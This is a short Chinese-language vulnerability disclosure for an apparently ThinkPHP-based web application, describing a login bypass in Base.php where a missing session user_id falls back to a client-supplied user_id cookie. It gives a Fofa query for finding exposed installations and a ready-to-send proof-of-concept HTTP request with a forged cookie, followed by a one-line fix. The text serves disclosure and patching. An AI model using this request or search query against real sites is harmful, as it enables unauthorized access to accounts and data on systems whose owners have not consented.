0x01 漏洞描述:
在 /index/controller/Base.php
控制器的 __construct
方法中,负责用户登录验证的逻辑存在安全隐患。该系统同时使用 Session 和 Cookie 来验证用户身份,其中关键代码为 if (!$uid) { $uid = cookie('user_id'); }
。当 Session 不存在 user_id
时,系统直接依赖 Cookie 中的 user_id
进行验证,这使得攻击者可以通过伪造 Cookie 来绕过身份验证,从而导致安全漏洞的产生。
0x02 搜索语句:
Fofa:"/red/popper.min.js"
0x03 漏洞复现:
因为该漏洞出现在cookie校验中,通过if (!$uid) { $uid = cookie('user_id'); } 可发现当用户session中存在user_id那么取session中数据,不存在则取cookie中值,因此我们只需在cookie中伪造一个user_id即可绕过登录校验检测。
poc
GET /index/index HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: keep-alive
Content-Length: 73
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: user_id=1213123
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
User-Token-Csrf: csrf66e28d7ebbffaX-Requested-With:
0x04 修复建议:
修复代码中逻辑校验,cookie读取值由后端发放